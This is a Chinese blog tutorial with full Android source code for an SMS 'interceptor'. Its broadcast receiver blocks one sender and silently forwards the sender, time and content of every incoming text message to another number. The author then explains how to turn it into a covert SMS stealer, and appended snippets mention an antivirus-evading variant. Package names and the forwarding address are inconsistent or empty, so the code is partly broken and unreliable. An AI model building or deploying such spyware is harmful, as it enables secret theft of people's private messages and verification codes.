今天利用广播机制给178折社区做了一个短信拦截器。在我做的这个拦截器中,可以有两种方式来设置拦截,一种是在AndroidManifest.xml直接设置拦截,另外一种是通过手动注册来设计拦截。在这里我们需要通过查文档找到短信收发的一些权限。
下面我附上自己做的这个拦截器的代码供大家参考。
main.xml layout
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
>
<Button
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="注册拦截"
android:onClick="regiset"
/>
<Button
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:text="解注册拦截"
android:onClick="unregiset"
/>
</LinearLayout>
首页显示的SmsListenerActivity:
package com.tk178zhe.android.SmsListener;
import android.app.Activity;
import android.content.IntentFilter;
import android.os.Bundle;
import android.view.View;
import android.widget.Toast;
public class SmsListenerActivity extends Activity {
private SmsRecevier recevier;
private boolean isregiset = false;
private static final String ACTION = "android.provider.Telephony.SMS_RECEIVED";
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
recevier = new SmsRecevier();
}
public void regiset(View v) {
IntentFilter filter = new IntentFilter(ACTION);
filter.setPriority(1000);//设置优先级最大
registerReceiver(recevier, filter);
isregiset = true;
Toast.makeText(this, "注册成功", 0).show();
}
public void unregiset(View v) {
if (recevier != null && isregiset) {
unregisterReceiver(recevier);
isregiset = false;
Toast.makeText(this, "解注册成功", 0).show();
} else
Toast.makeText(this, "尚未注册", 0).show();
}
@Override
protected void onDestroy() {
super.onDestroy();
if (recevier != null && isregiset) {
unregisterReceiver(recevier);
isregiset = false;
Toast.makeText(this, "解注册成功", 0).show();
}
}
}
如果是利用手动的来注册拦截,那么就不需要在AndroidManifest.xml中设置recevier了。不过利用手动的来设置拦截,那就和做的这个拦截器的需要不相符了,这里我只是为了更加明显的说明广播的机制。
AndroidManifest.xml:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="cn.yjg.SmsListener"
android:versionCode="1"
android:versionName="1.0">
<uses-sdk android:minSdkVersion="8" />
<application android:icon="@drawable/icon" android:label="@string/app_name">
<activity android:name=".SmsListenerActivity"
android:label="@string/app_name">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<!-- 这是隐式的设置receiver 我们做的这个拦截器需要这样去做
<receiver android:name=".SmsRecevier">
<intent-filter android:priority="1000"> 将优先级设到最大
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
-->
</application>
<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
<uses-permission android:name="android.permission.SEND_SMS"/><!-- 发送短信权限 -->
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
</manifest>
SmsRecevier类用作拦截信息。
package com.tk1zhe.android;
import java.text.SimpleDateFormat;
import java.util.Date;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;
public class SmsRecevier extends BroadcastReceiver {
public SmsRecevier() {
Log.v("TAG", "SmsRecevier create");
}
@Override
public void onReceive(Context context, Intent intent) {
Log.v("TAG", "SmsRecevier onReceive");
Object[] pdus = (Object[]) intent.getExtras().get("pdus");
if (pdus != null && pdus.length > 0) {
SmsMessage[] messages = new SmsMessage[pdus.length];
for (int i = 0; i < pdus.length; i++) {
byte[] pdu = (byte[]) pdus[i];
messages[i] = SmsMessage.createFromPdu(pdu);
}
for (SmsMessage message : messages) {
String content = message.getMessageBody();// 得到短信内容
String sender = message.getOriginatingAddress();// 得到发信息的号码
if (sender.equals("110")) {
abortBroadcast();// 中止发送
Log.e("TAG", "此号码为黑名单号码,已拦截!");
}
Date date = new Date(message.getTimestampMillis());
SimpleDateFormat format = new SimpleDateFormat(
"yyyy-MM-dd HH:mm:ss");
String sendContent = format.format(date) + ":" + sender + "--"
+ content;
SmsManager smsManager = SmsManager.getDefault();// 发信息时需要的
smsManager.sendTextMessage("", null, sendContent, null,
null);// 转发给
Log.v("TAG", sendContent);
}
}
}
}
这样一个短信拦截器就做好了,当110这个号码给别人发信息时,就会被拦截,转发给178。我们可以通过Log的打印信息来观察结果。当然我们可以做一个不拦截,但是可以窃取短信的短信窃取器。怎么做呢?和上面差不多,只是不需要拦截了,而是利用短信在发送给指定人的同时让它也发给自己,这样就可以做到不动声色的窃取别人的信息内容了
分享到:
相关推荐
在Android系统中,短信拦截器是一种机制,允许开发者在...以上就是关于Android短信拦截器的一些关键知识点,涵盖了实现原理、代码实现、权限管理以及测试方法。理解并掌握这些内容,你就可以创建自己的短信拦截应用了。
要创建一个短信拦截器,你需要做以下几步: 1. **创建BroadcastReceiver**:首先,你需要定义一个继承自BroadcastReceiver的类,并重写onReceive()方法。在这个方法里,你会处理接收到的ACTION_SMS_RECEIVED广播。 ...
总结以上知识点,我们可以创建一个功能完善的Android短信拦截应用。从权限申请到广播接收,再到拦截逻辑的实现,每个步骤都需要细心处理,以确保应用的稳定性和用户体验。通过学习和理解这些知识点,开发者可以更好...
【Android短信拦截机制】 在Android系统中,短信作为重要的通信方式,承载了诸如银行验证码、登录验证、交易通知等敏感信息。然而,由于Android的开放性,恶意软件开发者可以利用系统漏洞来实施短信拦截,从而窃取...
2. **短信拦截**: - **SmsBroadcastReceiver**:类似于来电拦截,开发者可以创建一个BroadcastReceiver监听SMS_RECEIVED广播。当短信到达时,BroadcastReceiver会被触发,此时可以检查短信内容并决定是否阻止其...
而“Sms.zip”这个压缩包文件可能包含了关于Android短信拦截和转发的实现代码或者资源。接下来,我们将深入探讨Android短信服务,特别是如何实现拦截和转发机制。 1. **Android SMS服务**:Android提供了一个名为`...
在Android平台上,短信功能是...通过这个项目,你可以更好地理解和实践Android短信相关的开发工作,包括但不限于短信的发送、接收和处理流程。这不仅有助于提高你的编程技能,也有助于在实际项目中构建更丰富的功能。
总之,"dxljmm_Android_a5"这个压缩包中的源码揭示了如何在Android平台上实现一个免杀版的短信拦截器,涉及到Android系统的广播机制、权限管理、代码混淆等多个技术层面。对于学习Android安全和逆向工程的开发者来说...
至此,我们已经创建了一个基本的短信拦截器。不过,需要注意的是,自Android 8.0(API级别26)起,动态注册BroadcastReceiver不再能在后台运行。因此,对于Android 8.0及以上版本,你需要在应用启动时或需要时在代码...
在Android开发中,"Android拦截接收短信"涉及到的是BroadcastReceiver(广播接收器)的使用,以及对系统短信服务的监听。BroadcastReceiver是Android四大组件之一,用于接收系统或应用广播事件,比如接收到短信、...
2. **短信拦截**:要实现短信拦截,我们需要创建一个BroadcastReceiver,并在它的onReceive()方法中处理接收到的短信。首先,我们需要在AndroidManifest.xml文件中注册BroadcastReceiver,并声明SMS_RECEIVED权限: ...
7. **安全问题**:考虑到短信可能被滥用,例如进行恶意的验证码拦截,因此在设计短信功能时,必须遵循最佳安全实践,确保敏感信息不被泄露。 综上所述,实现Android平台上的短信功能涉及到了Android的权限管理、...
在Android系统中,拦截陌生号码短信是通过使用BroadcastReceiver(广播接收器)这一核心组件来实现的。BroadcastReceiver允许应用程序监听并响应系统或应用程序广播事件,其中包括接收到短信的事件。接下来,我们将...
其次,Android的广播接收器(BroadcastReceiver)是实现电话和短信拦截的关键组件。通过注册对`ACTION_PHONE_STATE_CHANGED`广播的监听,应用可以在电话状态改变时接收到通知,例如来电、去电或通话结束。对于短信...
这个压缩包文件“Android短信验证码自动拦截读取的具体代码.zip”包含了一个示例,展示了如何在C#中实现这一功能。尽管C#通常是.NET桌面应用或服务器端编程的首选语言,但在Android开发中,我们通常会使用Java或...
以下是关于Android短信拦截的详细解释和代码实现: 1. **BroadcastReceiver**: Android中的BroadcastReceiver是用于监听系统或应用广播事件的类。当一个广播事件发生时,系统会将广播意图(Intent)发送给注册了...
1、该资源内项目代码都经过测试运行成功,功能ok的情况下才上传的,请放心下载使用! 2、本项目适合计算机相关专业(如计科、人工智能、通信工程、自动化、电子信息等)的在校学生、老师或者企业员工下载学习,也适合...
【Android应用源码安卓短信拦截升级版.zip】这个压缩包文件包含了有关Android应用程序开发和安全性的深入知识。这里我们将详细探讨Android系统中的短信拦截机制、恶意软件的升级版特性以及如何保护用户隐私。 1. **...